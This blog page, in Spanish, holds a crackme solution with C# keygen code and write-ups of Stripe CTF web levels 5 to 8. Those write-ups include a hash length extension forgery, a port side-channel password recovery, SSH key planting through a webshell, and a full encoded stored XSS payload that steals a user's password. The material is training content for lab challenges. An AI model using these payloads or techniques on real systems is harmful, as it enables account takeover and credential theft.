martes, 18 de septiembre de 2012

[Crackme] – Operadores lógicos (con Immunity Debugger)

Después de darle alguna que otra vez el coñazo para que se animara a escribir un artículo, por fin, Manu “The Sur” me ha hecho feliz y se ha dignado a realizar su primer solucionario de un crackme, y espero que no sea el último ;)

NOTA: Si es la primera vez que te enfrentas a un reto o crackme y no dispones de conocimientos básicos en ingeniería inversa, recomiendo la lectura de la serie “Introducción a la Ingeniería Inversa en x86” que podéis encontrar en el apartado de Artículos.

A continuación el artículo de Manu “The Sur”:

Una de las páginas más conocidas en donde se recopilan una gran cantidad de retos de reversing es crackmes.de. En este artículo veremos como resolver con 'Immunity Debugger' el crackme 'hackereh@' de dificultad fácil, escogido del portal crackmes.de.

Descarga del fichero: [Crackme_hackereh@]
Escaneo del fichero (exe) en VirusTotal:
MD5 (exe): 4d60550ba627682ee49aba65344ae627
SHA1 (exe): 4c7ad25a2f4c5495463a64f07ccb658980441076

IMPORTANTE: Siempre es bueno que probéis a resolver vosotros el crackme antes de leer la resolución.

Antes de empezar a analizar el binario con Immunity Debugger, vamos a ejecutarlo y ver que es lo que requiere.

image

Parece el típico crackme que nos pide un serial y tenemos que acertar la cadena correcta, vemos como nos muestra distintos mensajes de error a la hora de realizar la comprobación. Estos mensajes suelen ser un buen punto de partida para iniciar nuestro análisis.

Dos buenas formas de iniciar nuestro análisis sería la búsqueda de los “strings” referenciados en el binario, o si preferimos podríamos buscar mediante la opción “intermodular calls” de Immunity Debugger las llamadas a las APIs.

Si ejecutamos el crackme mediante Immunity Debugger, y nos centramos en la segunda opción “Search for -> All intermodular calls”, podemos observar las llamadas a las APIs utilizadas, entre ellas podemos localizar “GetDlgItemTextA”:

clip_image003

GetDlgItemTextA es una función que permite obtener título o el texto asociado a un control en concreto (posiblemente sea la función que utiliza para leer lo que le hemos introducido nosotros). Por lo que pondremos un breakpoint en la llamada a dicha función (en nuestro caso la dirección de memoria 0x00401180).

Si ahora ejecutamos la aplicación e introducimos como serial una ristra de caracteres “A”, llegaremos a la parte de código más interesante:

image

Como se puede observar en la dirección 0x0040118F, se está moviendo el la dirección de memoria donde está el valor que hemos introducido al registro EDI, y posteriormente realiza siete comprobaciones para verificar el serial.

Las seis primeras comprobaciones se realizan mediante la operación AND, y la séptima mediante la operación CMP. Cabe destacar que cada una de las comparaciones vienen precedidas de la instrucción MOVSX que se encarga de mover el byte N del registro EDI (dirección donde se encuentra el serial introducido por nosotros), al registro AL (donde N es un valor del 0 al 5), por lo que, vamos a ir cpiando al registro AL una a una las letras introducidas en el serial.

En la primera comprobación “AND AL, 0AD / JNZ Invalido” espera que el resultado de dicha operación lógica devuelva “0” como resultado. En caso de que no devuelva “0”, el flag Zero Flag “ZF” no se activará y la instrucción JNZ saltará hacia la dirección que nos muestra el cuadro de texto de serial inválido.

Es por ello que el primer carácter que introduzcamos en el serial debe dar “0” al realizar un AND con el valor “0x0AD”.

image
El carácter '@' (0x40) sería valido, igualmente que lo podría ser 'B' (0x42) ya que el resultado de la operación seguiría siendo “0” y el flag “ZF” seguiría activándose.

Las 5 comprobaciones siguientes es más de lo mismo, una operación AND con cada uno de los caracteres introducidos, y la sexta comprobación verifica que la longitud del texto son 6 caracteres mediante la operación “CMP ECX, 0x6”.

Una vez hemos llegado aquí, un ejemplo del serial correcto sería “Rdh@8)”, obteniendo así el deseado mensaje:

image

Para finalizar el solucionario, he desarrollado un “KeyGen” para este crackme, se puede ver un ejemplo en la siguiente captura donde cada uno de los serials seria válido:

image

Desde el siguiente enlace os podéis descargar el KeyGen compilado: [KeyGen_hackereh@]

Y a continuación dejo el código en C#:

using System;
using System.Collections.Generic;

namespace generadorSerial
{
class Program
{
static Int16[] values = new Int16[] { 0xAD, 0x9A, 0x97, 0xBF, 0x5FC5, 0xD6 };
static Int16 min = 0x21;
static Int16 max = 0x7E;

static Int16 Calc(Int16 value)
{
List possibilities = new List();

for (Int16 i = min; i <= max; i++)
{
Int16 X = (Int16)(value & (Int16)i);
if (X == 0)
possibilities.Add(i);
}

return possibilities[new Random().Next(0, possibilities.Count)];
}

static void Main(string[] args)
{
for (int i = 0 ; i < values.Length; i++)
Console.Write((char)Calc(values[i]));
}
}
}

Espero que os haya gustado y hasta pronto.


Saludos!!

miércoles, 5 de septiembre de 2012

Stripe Capture The Flag: Web Edition - Solutions (Part III)

Hoy doy por finalizada la serie "Solucionario del Capture The Flag: Web Edition". A continuación voy a explicar los dos últimos niveles del reto 7 y 8.

En estos niveles al igual que en los anteriores, los iniciaré con una pequeña descripción que ofrecían en el reto, el código fuente para que podáis hacer las pruebas localmente y por último la forma en que resolví el reto, que no quiere decir que sea la única ni la mejor, os lo aseguro.

******************************************************************************
- Stripe Capture The Flag: Web Edition - Solutions (Part I)
- Stripe Capture The Flag: Web Edition - Solutions (Part II)
- Stripe Capture The Flag: Web Edition - Solutions (Part III)
******************************************************************************

image

Descripción: WaffleCopter is a new service delivering locally-sourced organic waffles hot off of vintage waffle irons straight to your location using quad-rotor GPS-enabled helicopters. The service is modeled after TacoCopter, an innovative and highly successful early contender in the airborne food delivery industry. WaffleCopter is currently being tested in private beta in select locations.

Your goal is to order one of the decadent Liège Waffles, offered only to WaffleCopter's first premium subscribers.

Log in to your account at https://level07-2.stripe-ctf.com/user-gcoiiqmuxq with username ctf and password password. You will find your API credentials after logging in. You may find the sample API client in client.py particularly helpful.

Código fuente: [Descarga_codigo_fuente_nivel_7]

Solución: Si abrimos el enlace que nos indican nos topamos con un formulario de login, que introduciendo las credenciales indicadas por el reto {“ctf” : “password”} nos redirige al siguiente portal:

image

El objetivo esta muy claro, nosotros disponemos de un usuario no premium y necesitamos realizar una petición de la “liege waffles” para la cual es necesario disponer de una cuenta premium.

Para hacer las peticiones es necesario utilizar la API “client.py” que nos ofrecen. Realizamos una prueba haciendo una petición con nuestro usuario y pidiendo una “liege waffle”:

image

Como respuesta, nos indican que el gofre pedido requiere usuario premiun, no iba a ser tan fácil..

Después de hacer unas cuantas peticiones contra el servidor intentando inyectar código, falsificar las peticiones, cambiando parámetros, etcétera, lo único que conseguimos es un log repleto de peticiones realizadas por el usuario 5. (Los logs son accesibles desde el portal principal a través del enlace “API Request logs”).

image

Si os fijáis el mecanismo que tienen de firmado de los paquetes es muy simple:

Parte del cliente:

- Se crea una petición con los campos necesarios (count, latitud, user_id, logitud, waffle) con el siguiente formato: “count=1&lat=37.351&user_id=5&long=-119.827&waffle=liege

- Se concatena a esta petición la password del usuario y se realiza un SHA1: SHA1(password + petición), en nuestro caso quedaría del siguiente modo: SHA1(“dL6MTExB6gCeKC”+”count=1&lat=37.351&user_id=5&long=-119.827&waffle=liege”) dando como resultado: 4cbe76bf6ade7c8ffa75d384c93ac254fe24b7a7

- Y se envía al servidor con el siguiente formato: “count=1&lat=37.351&user_id=5&long=-119.827&waffle=liege|sig: 4cbe76bf6ade7c8ffa75d384c93ac254fe24b7a7

Parte del servidor:

- Recibe la petición y extrae de su base de datos la password del user_id

- Realiza un SHA1 del password y la primera parte “count=1&lat=37.351&user_id=5&long=-119.827&waffle=liege

- Compara el SHA1 generado con el recibido, en caso de que sean iguales la petición del gofre es aceptada, de lo contrario es rechazada.

El mecanismo utilizado para la firma de las peticiones, en un principio es seguro si no sabemos el password de ningún usuario. Una posibilidad sería realizar peticiones realizando fuerza bruta en el password, pero esto es poco viable.

Después de mirar y mirar el código fuente en busca de alguna vulnerabilidad, se me vino a la cabeza un fallo que salió hará ya un par o tres de años en los algoritmos de HASH más conocidos en una situación concreta.

Se trata de la vulnerabilidad “Hash Length Extension Attacks” o también conocida como “Hash padding Attack”. A grandes rangos dicha vulnerabilidad permite calcular el hash resultante de (secreto + mensaje) sin conocer el secreto, únicamente conociendo el resultado de un hash anterior (secreto + mensaje’) y la longitud del secreto.

Imaginaros que tenemos un mecanismo en el cual para firmar un texto generado por un usuario se calcula el HASH del texto concatenándole un secreto, pues a través de esta vulnerabilidad es posible calcular el resultado de un nuevo HASH válido como si este hubiera firmado el usuario únicamente conociendo un HASH anterior y la longitud de su clave.

¿Os resulta familiar?, es exactamente el mecanismo de cifrado que disponemos en nuestra aplicación. Únicamente nos falta un mensaje anteriormente generado por un usuario premium, para así poder generar una nueva firma(hash) realizando una petición de un “liege waffle”.

Si recordáis disponíamos de un sistema de logs que nos informaban de los pedidos que habíamos hecho:

image

Si observamos la forma de llamar a nuestros logs, se está haciendo una petición con nuestro “user_id” al directorio “/logs”, por lo que vamos a modificar el valor en busca de logs de otros usuarios, a ser posibles premium.

image

Si modificamos el valor del “user_id” por 1 conseguimos acceder a las peticiones realizadas de este usuario (claro fallo de seguridad), de este modo ya tenemos un mensaje valido generado por el usuario. Ahora vamos a crear el nuestro.

Para generar nuestro mensaje utilizaré el script “sha-padding.py” (referencias), una prueba de concepto que se generó para probar la vulnerabilidad.

image

Para hacer funcionar “sha-padding.py” es necesario añadirle la longitud del secreto (14), el mensaje anterior (count=10&lat=37.351&user_id=1&logn=-119.827&waffle=eggo), el hash del mensaje anterior (4053ae88…) y lo que se desea añadir al mensaje (&waffle=liege).

Hemos añadido una nueva variable de “waffle”, de este modo la petición se hará a la última variable añadida. Por si os lo preguntáis, la longitud del secreto es posible extraerlo del código fuente de la aplicación, ya que hace un random de 14, si este no lo conociéramos, podríamos haber realizado fuerza bruta de la longitud y probar los distintos mensajes. Una vez ejecutado nos devuelve el nuevo mensaje que deberemos enviar y la firma del mismo.

Modificamos el cliente.py para siempre envíe el nuevo mensaje con la nueva firma:

image

Y si lanzamos una nueva petición contra la aplicación mediante el cliente:

image

Hemos conseguido falsificar la una petición del usuario 1 mediante la vulnerabilidad “Hash padding Attack” y obtener la password que nos da acceso al nivel 8 “qkviWfMeqD”.

Referencias:

- https://blog.whitehatsec.com/hash-length-extension-attacks/ (Explicación de la vulnerabilidad)
- http://force.vnsecurity.net/download/rd/sha-padding.py (Script de la PoC)
- http://force.vnsecurity.net/download/rd/shaext.py (Dependencia del script)
- http://force.vnsecurity.net/download/rd/sha.py (Dependencia del script)

 

image

Descripción: Welcome to the final level, Level 8.

HINT 1: No, really, we're not looking for a timing attack.

HINT 2: Running the server locally is probably a good place to start. Anything interesting in the output?

Because password theft has become such a rampant problem, a security firm has decided to create PasswordDB, a new and secure way of storing and validating passwords. You've recently learned that the Flag itself is protected in a PasswordDB instance, accesible at https://level08-3.stripe-ctf.com/user-roolhuajbw/.

PasswordDB exposes a simple JSON API. You just POST a payload of the form {"password": "password-to-check", "webhooks": ["mysite.com:3000", ...]} to PasswordDB, which will respond with a {"success": true}" or {"success": false}" to you and your specified webhook endpoints.

(For example, try running curl https://level08-3.stripe-ctf.com/user-roolhuajbw/ -d '{"password": "password-to-check", "webhooks": []}'.)

In PasswordDB, the password is never stored in a single location or process, making it the bane of attackers' respective existences. Instead, the password is "chunked" across multiple processes, called "chunk servers". These may live on the same machine as the HTTP-accepting "primary server", or for added security may live on a different machine. PasswordDB comes with built-in security features such as timing attack prevention and protection against using unequitable amounts of CPU time (relative to other PasswordDB instances on the same machine).

As a secure cherry on top, the machine hosting the primary server has very locked down network access. It can only make outbound requests to other stripe-ctf.com servers. As you learned in Level 5, someone forgot to internally firewall off the high ports from the Level 2 server. (It's almost like someone on the inside is helping you — there's an sshd running on the Level 2 server as well.)

To maximize adoption, usability is also a goal of PasswordDB. Hence a launcher script, password_db_launcher, has been created for the express purpose of securing the Flag. It validates that your password looks like a valid Flag and automatically spins up 4 chunk servers and a primary server.

Código fuente: [Descarga_codigo_fuente_nivel_8]

Solución: A este reto podría titularle “El gran fracaso del CTF” (al final de la solución lo entenderéis), pero bueno, ya no se puede hacer nada.

Como bien dice en el segundo consejo, este reto hay que pasárselo primero en local y luego en remoto. Por lo que ejecutamos la aplicación localmente.

Ataque al servidor local:

image

Tal y como nos indican en la descripción, al ejecutar la aplicación este crea cuatro “chunk_server” que almacenaran cada uno de ellos un trozo de la password inicial “123456789012”, (chunk_server_1 = “123”, chunk_server_2 = “456”, chunk_server_3 = “789”, chunk_server_4 = “012”).

Si lanzamos diferentes peticiones contra el servidor preguntando por distintas contraseñas:

image

Observamos como nos devuelve un mensaje erróneo en caso de ser la password incorrecta, y un mensaje correcto en caso de ser la password buena. Si observamos que pasa en el servidor:

image

Vemos como el server divide en cuatro partes la password y le envía a cada “chunk_server” su trozo correspondiente para que este verifique si es el correcto, en caso de no ser el correcto el “chunk_server” enviaría un mensaje erróneo y ya ni se preguntarían a los demás.

Una de las cosas que me llamó más la atención era el concepto de “webhook” a la hora de hacer peticiones, por lo que vamos a generarnos un script en python que escuche en un puerto y lo asignamos como “webhook” en las peticiones.

image

La respuesta que obtenía el “webhook” era directamente algo similar a que obteníamos al enviar la petición. En este momento se me ocurrió que pasaría si enviamos distintas peticiones con distintas combinaciones. Por ejemplo: (3 peticiones con la respuesta incorrecta “111111111111”, 3 peticiones con un solo trozo correcto “123111111111”, 3 peticiones con dos trozos correctos “123456111111” y así sucesivamente), para esto cree un script en python que mediante urllib enviara las peticiones.

image

Si os fijáis, la única diferencia que existe entre las respuesta es el puerto de origen. Después de analizarlo, es posible observar como las primeras tres respuestas tiene una diferencia de 4 puertos, las siguientes tres, 5 puertos, las siguientes tres, 6 puertos y las siguientes tres, 7 puertos. Esto es debido a que la respuesta es enviada por “chunks_servers” distintos:

- Diferencia de 4 puertos = Respuesta del “chunk_server” 1

- Diferencia de 5 puertos = Respuesta del “chunk_server” 2

- Diferencia de 6 puertos = Respuesta del “chunk_server” 3

- Diferencia de 7 puertos = Respuesta del “chunk_server” 4

Por lo que, podemos modificar el script para cuando detecte que el puerto cambia de 4 a 5, nos indique la petición que se había realizado y esto querrá decir que hemos encontrado el primer “chunk” correcto. Y así con los distintos “chuncks”, veamos un ejemplo.

image

Se puede observar como se ha detectado que en la petición “123” se ha cambiado el puerto, por lo que ya sabemos como sacar la password!!

En los siguientes enlaces podéis descargar los scripts cliente_local.py y webhook_local.py utilizados.

Ataque al servidor en producción:

Ahora solo nos queda ejecutar directamente los scripts contra el servidor en producción. Pero tenemos un problema, el servidor solo permite conexiones salientes a servidores de su propio dominio, por lo que, no podemos recibir peticiones a nuestro “webhook”.

Recordando la descripción, se hablaba de que en el servidor del nivel 2 (recordad que es el servidor que dispone de un formulario de subida de ficheros y disponíamos de una webshell), se encuentra en ejecución el servicio SSH. Si conseguimos hacernos con el servicio, tendremos resuelto el problema ya que estaremos actuando directamente desde dentro del dominio.

Si intentamos realizar una conexión contra el servicio:

image

Nos salta un error de “Permissino denied” debido a que el servicio SSH solo admite conexiones mediante clave pública. Así que tenemos que generarnos una par de claves en local para el usuario del nivel 2 “user-qnriiemgks” y subir la clave pública (mediante la webshell) al directorio “/home/user-qnriiemgks/.ssh/authorized_keys” de este modo ya tendremos acceso al servicio SSH desde nuestra máquina.

Una vez accedido al servicio SSH y subidos los scripts nos encontramos con un gran problema, a continuación se puede observar una ristra de peticiones erróneas y los puertos que devuelven.

image

No puede ser… Los puertos ya no son saltos de 4 en 4!!! Los puertos ya no siguen ningún orden concreto. Esto es debido a que el servidor 8 está siendo utilizado por más gente para hacer peticiones contra el mismo servicio, por lo que, los puertos origen de las respuestas van cambiando continuamente.

Si os fijáis, existen algunas respuestas (marcadas en rojo) que si que siguen un orden de saltos de dos en dos, estas peticiones son las que nosotros hacemos sin que nadie se interponga entre nuestras peticiones. Así que hemos de modificar los nuestros scripts para que puedan convivir con las interferencias generadas.

Para resolver este problema se me ocurrió un sencillo algoritmo de descartes de peticiones mediante la compartición de un fichero (posiblemente sea una aberración para más de un programador, pero había que hacer algo rápido :))

image

Con esta implementación conseguía ir descartando peticiones que vayan emparejadas de dos en dos, hasta llegar un momento que solo me quedara una petición que sería la buena.

Vamos en busca del primer chunk (trozo del password) en el servidor en producción:

Aquí podemos ver al cliente funcionando:

image

Y Aquí al WebHook descartando peticiones:

image

Y al cabo de aproximadamente 25 minutos, lo tengo, el primer “chunk” del password es “169”. Solo nos quedan tres.

Vamos en busca del segundo chunk (trozo del password) en el servidor en producción:

Aquí podemos ver al cliente funcionando:

image

Y al cabo de aproximadamente 25 minutos, lo tengo, el segundo “chunk” del password es “726”. Solo nos quedan dos.

Vamos en busca del tercer chunk (trozo del password) en el servidor en producción:

Aquí podemos ver al cliente funcionando:

image

Y al cabo de aproximadamente 25 minutos, lo tengo, el tercer “chunk” del password es “016”. Solo nos queda uno.

Este fue el momento en que miré el reloj y vi que quedaban exactamente 15 minutos para terminar el reto.. Modifico corriendo el cliente para que envíe peticiones y detecte cuando la respuesta contiene la palabra “true” (Ya que el crackeo del último “chunk” no era necesario hacerlo mediante el algoritmo, la respuesta contendría la palabra true y solo necesitamos hacer fuerza bruta de 1000 peticiones).

image

Este último tenía una demora de más de un segundo entre peticiones, tendrían puesto un timeout en las respuestas del “server_chunk” o algo para retrasar las peticiones. Aquí es cuando aproximadamente iba por la petición 509 y el reloj marcó las 21:00 horas, el reto había acabado.. y la conexión del SSH había sido cerrada. :(

Me quedé a escasos 10 minutos de pasarme el último nivel del CTF!! Y lo más importante!! Me quedé sin mi camiseta de premio por pasarte los 9 niveles!!

image

Bueno.. como reflexión diré que para mi lo más importante era conseguir saber pasármelo y eso lo conseguí ;)

Por último agradecer a la gente de Stripe por el CTF, sinceramente me lo he pasado genial y creo que ha sido muy completo. Gracias!!

Un Saludo y espero que os haya gustado!!

martes, 4 de septiembre de 2012

Stripe Capture The Flag: Web Edition - Solutions (Part II)

Después de la primera parte del Stripe Capture The Flag: Web Editio yn - Solutions, dónde explicaba como poder resolver los niveles 0, 1, 2, 3 y 4, hoy continuaremos con la segunda entrega de esta serie dónde explico la resolución de los niveles 5 y 6.

En estos niveles al igual que en los anteriores, los iniciaré con una pequeña descripción que ofrecían en el reto, el código fuente para que podáis hacer las pruebas localmente y por último la forma en que resolví el reto, que no quiere decir que sea la única ni la mejor, os lo aseguro.

******************************************************************************
- Stripe Capture The Flag: Web Edition - Solutions (Part I)
- Stripe Capture The Flag: Web Edition - Solutions (Part II)
- Stripe Capture The Flag: Web Edition - Solutions (Part III)
******************************************************************************

image

Descripción: The DomainAuthenticator is based off a novel protocol for establishing identities. To authenticate to a site, you simply provide it username, password, and pingback URL. The site posts your credentials to the pingback URL, which returns either "AUTHENTICATED" or "DENIED". If "AUTHENTICATED", the site considers you signed in as a user for the pingback domain.

We've been using it to distribute the password to access Level 6. If you could only somehow authenticate as a user of a level05 machine...

To avoid nefarious exploits, the machine hosting the DomainAuthenticator has very locked down network access. It can only make outbound requests to other stripe-ctf.com servers. Though, you've heard that someone forgot to internally firewall off the high ports from the Level 2 server.

Código fuente: [Descarga_codigo_fuente_nivel_5]

Solución: Entramos en el portal y nos encontramos con un formulario donde se nos permite introducir usuario, contraseña y la dirección URL del pingback.

image

Esta claro que teníamos que utilizar el servidor del nivel 2 (recordad que es el que nos permitía subir ficheros mediante la red social), para ayudarnos en este reto. Pero antes de nada vamos a mirar que pinta tiene el código fuente.

Después de hacer las comprobaciones en el código y de que realmente el pingback se está enviando a un servidor del CTF, nos encontramos con este código cuando la aplicación recibe datos por el método POST:

image

Está claro que para autenticarnos en el servidor la respuesta que devuelva el servidor donde hacemos pingback ha de ser la palabra “AUTHENTICATED”, por lo que, subimos a nuestro servidor del nivel 2 un fichero PHP que nos devuelva esta palabra.

image

Realizamos una petición con el valor “https://level02-2.stripe-stf.com/user-qnriiemgks/uplods/a.php” en el campo pingback y un usuario y clave cualquiera, pero nos devuelve un error indicando que no hemos conseguido autenticarnos, algo está fallando.

Si observamos de nuevo el código:

image

Si analizamos la expresión regular que identifica el body, podemos visualizar como el carácter “$” nos está marcando el final de línea, por lo que necesitamos de la existencia de un salto de línea después de la palabra “AUTHENTICATED”.

La forma de solucionar el problema fue la siguiente:

image

Tres “AUTHENTICATED” y un salto de línea por detrás y por delante, por si acaso :P, consiguiendo el siguiente resultado al volver hacer la petición:

image

¡Hemos conseguido autenticarnos! Pero tenemos un problema, la aplicación ha detectado que lo hemos hecho a través del servidor 2 y no nos devuelve la password, tenemos que autenticarnos como “@level05-1.stripe-ctf.com”. ¿Pero cómo?, no podemos subir ficheros al servidor 5.

Después de un rato mirando el código fuente en busca de alguna vulnerabilidad, me di cuenta que había algo sospechoso.

image

Para quien no lo sepa “PARAMS[]” en ruby es similar a “$_REQUEST” en PHP, por lo que el servidor cuando se le envía una petición POST, también está leyendo los parámetros por GET.

De este modo lo que podríamos hacer es un pingback doble, me explico.

Si utilizamos nuestro campo pingback para enviar la siguiente dirección “https://level05-1.stripe-ctf.com/user-hrgoceyhdf/?pingback=https://level02-2.stripe-ctf.com/user-qnriiemgks/uploads/a.php”, lo que estaremos consiguiendo es lo siguiente:

image

1. La variable pingback que recoge la petición POST(1) tendrá el valor “https://level05-1.stripe-ctf.com/user-hrgoceyhdf/?pingback=https://level02-2.stripe-ctf.com/user-qnriiemgks/uploads/a.php”

image

2. Al comprobar si esta dirección responde con la palabra “AUTHENTICATED” se volverá a realizar otra petición POST(2) contra el servidor del nivel 5 y en este caso la variable pingback será “https://level02-2.stripe-ctf.com/user-qnriiemgks/uploads/a.php” gracias a que la función “params[]” coge de igual modo los parámetros enviamos por GET, de este modo conseguimos que la variable body contenga la palabra “AUTHENTICATED”.

image

Al finalizar la primera petición POST(1) obtendremos que la respuesta a esta es la siguiente:

image

De este modo la respuesta del primer pingback nos sirve para hacer el segundo y autenticarnos como usuarios del nivel 5. Si volvemos a la página inicial nos encontramos con que hemos conseguido la password “zHovFOMINg”.

image

 

image

Descripción: After Karma Trader from Level 4 was hit with massive karma inflation (purportedly due to someone flooding the market with massive quantities of karma), the site had to close its doors. All hope was not lost, however, since the technology was acquired by a real up-and-comer, Streamer. Streamer is the self-proclaimed most steamlined way of sharing updates with your friends.

The Streamer engineers, realizing that security holes had led to the demise of Karma Trader, have greatly beefed up the security of their application. Which is really too bad, because you've learned that the holder of the password to access Level 7, level07-password-holder, is the first Streamer user.

As well, level07-password-holder is taking a lot of precautions: his or her computer has no network access besides the Streamer server itself, and his or her password is a complicated mess, including quotes and apostrophes and the like.

Código fuente: [Descarga_codigo_fuente_nivel_6]

Solución: Si accedemos al portal que nos indican, nos encontramos un formulario de login y de registro para acceder al servicio. Una vez registrados podemos observar un portal diseñado para el envío y la lectura de posts entre los usuarios que existen en el sistema.

image

Por otro lado, pulsando sobre nuestro usuario en la columna de la derecha accedemos a la página “/user_info” donde nos informan de nuestra contraseña (solo era posible acceder a la información del usuario autenticado), por si la olvidamos supongo :S.

Como en la descripción del nivel hacían referencia al nivel 4 (acordaros que era el del envío de karma mediante la cuenta karma_fountain), lo primero que hice fue probar inyección de HTML y JavaScript en todos los campos visibles en busca de una vulnerabilidad XSS.

Al intentar inyectar código como ”><b>XSS</b> o <script>alert(‘XSS’)</script> la aplicación nos devolvía un error “500 – Internal Server Error”, parecía que nos estuvieran filtrando algunos caracteres.

Revisando un poco el código fuente nos topamos con la siguiente función:

image

Al insertar una entrada en el portal, nos están filtrando los caracteres comilla () y comilla simples (), por lo que tenemos que hacer que nuestro código inyectado no disponga de estos caracteres.

Una solución a este problema es la función String.fromCharCode(), que nos permite sustituir cualquier carácter por su equivalente decimal, Ej: A=65, B=66, C=67, junto a esto era necesario cerrar algunos tags para que se ejecutara completamente el XSS, por lo que el resultado final de nuestra inyección es la siguiente:

</script><script>document.write(String.fromCharCode(INYECCIÓN_AQUI))</script>

La función document.write(), es necesaria ya que tenemos que imprimir el código en la página para que se pueda ejecutar. Para agilizar un poco la tarea, cree un sencillo script en python que me convirtiera cualquier inyección es sus respectivos decimales separados por comas.

import sys 

data = "<script>alert('Esto es un XSS!!')</script>"
result = "" for char in data: result += str(ord(char))+"," print "</script><script>document.write(String.fromCharCode("+result[:len(result)-1]+"))</script>"
Si lo ejecutamos, obtenemos el siguiente resultado:

image

Si cogemos el código generado por el script y lo introducimos como una posible entrada en el muro de la aplicación, conseguimos nuestro deseado XSS.

image

¿Y ahora qué?

Teniendo en cuenta que el usuario que nos interesa robarle el password “level07-password-holder”, también se conecta cada cierto tiempo al portal tal y como pasaba en el nivel 4, hemos de inyectar un código XSS que le robe el password y lo publique en su muro para que posteriormente lo podamos ver.

En este caso la única forma de extraer el password es haciendo una petición GET contra la dirección url “/user_info” y guardarnos el resultado. Para realizar la petición GET vamos a aprovecharnos que disponemos del javascript de jquery incluido en el portal.

Inyección normal:

<script>$.get(\"/user-amedskxtrs/user_info\",{paramOne : 1},function(data) {alert('page content: ' + data);});</script>

Inyección codificada:

</script><script>document.write(String.fromCharCode(60,115,99,114,105,112,116,62,36,46,103,101,116,40,34,47,117,115,101,114,45,97,109,101,100,115,107,120,116,114,115,47,117,115,101,114,95,105,110,102,111,34,44,123,112,97,114,97,109,79,110,101,32,58,32,49,125,44,102,117,110,99,116,105,111,110,40,100,97,116,97,41,32,123,97,108,101,114,116,40,39,112,97,103,101,32,99,111,110,116,101,110,116,58,32,39,32,43,32,100,97,116,97,41,59,125,41,59,60,47,115,99,114,105,112,116,62))</script>

Y obtenemos el siguiente resultado:

image

Ya hemos conseguido almacenar en una variable el resultado de la petición GET a la página “/user_info” que dispone de la password, ahora solo nos queda postear el resultado de la petición en una nueva entrada.

El código es muy sencillo, únicamente modificamos la variable title con el valor “title”, la variable body con el código devuelto por la petición GET y enviamos el formulario.

Inyección normal:

<script>$.get(\"/user-amedskxtrs/user_info\",{paramOne : 1},function(data) {function send_form(){document.forms[\"new_post\"].body.value=data.slice(data.length-174);document.forms[\"new_post\"].title.value='title';document.forms[\"new_post\"].submit();};send_form()});</script>"

Inyección codificada:

</script><script>document.write(String.fromCharCode(60,115,99,114,105,112,116,62,36,46,103,101,116,40,34,47,117,115,101,114,45,97,109,101,100,115,107,120,116,114,115,47,117,115,101,114,95,105,110,102,111,34,44,123,112,97,114,97,109,79,110,101,32,58,32,49,125,44,102,117,110,99,116,105,111,110,40,100,97,116,97,41,32,123,102,117,110,99,116,105,111,110,32,115,101,110,100,95,102,111,114,109,40,41,123,100,111,99,117,109,101,110,116,46,102,111,114,109,115,91,34,110,101,119,95,112,111,115,116,34,93,46,98,111,100,121,46,118,97,108,117,101,61,100,97,116,97,46,115,108,105,99,101,40,100,97,116,97,46,108,101,110,103,116,104,45,49,55,52,41,59,100,111,99,117,109,101,110,116,46,102,111,114,109,115,91,34,110,101,119,95,112,111,115,116,34,93,46,116,105,116,108,101,46,118,97,108,117,101,61,39,116,105,116,108,101,39,59,100,111,99,117,109,101,110,116,46,102,111,114,109,115,91,34,110,101,119,95,112,111,115,116,34,93,46,115,117,98,109,105,116,40,41,59,125,59,115,101,110,100,95,102,111,114,109,40,41,125,41,59,60,47,115,99,114,105,112,116,62))</script>

Si os fijáis en la inyección he utilizado la función slice() para cortar parte del resultado y no tener que enviar todo el código de la página. Probamos con nuestro usuario la inyección a ver si publica nuestra password en el muro:

image

Tal y como podemos observar, después de realizarnos el portal cinco destellos debidos a la inyección del XSS conseguimos que nuestra password en este caso una “b” sea publicada en el muro.

Ahora solo falta volver inyectar el código XSS y esperar a que el usuario “level07-password-holder” se conecte…

…Parece que tenemos un problema, visualizando la hora de conexión del usuario “level07-password-holder” veo que se ha conectado y en el muro sigue sin aparecer su password, algo ha ido mal. Es aquí cuando recordé la descripción inicial del reto -> his or her password is a complicated mess, including quotes and apostrophes and the like <- La password del usuario tiene los caracteres prohibidos.. Así que tendremos que escapar el texto que queremos añadir en la entrada mediante la función escape().

Inyección normal:

"<script>$.get(\"/user-amedskxtrs/user_info\",{paramOne : 1},function(data) {function send_form(){document.forms[\"new_post\"].body.value=escape(data.slice(data.length-174));document.forms[\"new_post\"].title.value='title';document.forms[\"new_post\"].submit();};send_form()});</script>

Esperamos a que el usuario se conecte y..

image

Tenemos el password codificada del usuario “level07-password-holder”!! Lo decodificamos…

image

Y conseguimos el password que nos da acceso al nivel 7. -> ‘BLKTYvFkGpp” <-

En breves publicaré la tercera y última entrada de la serie, Un Saludo!!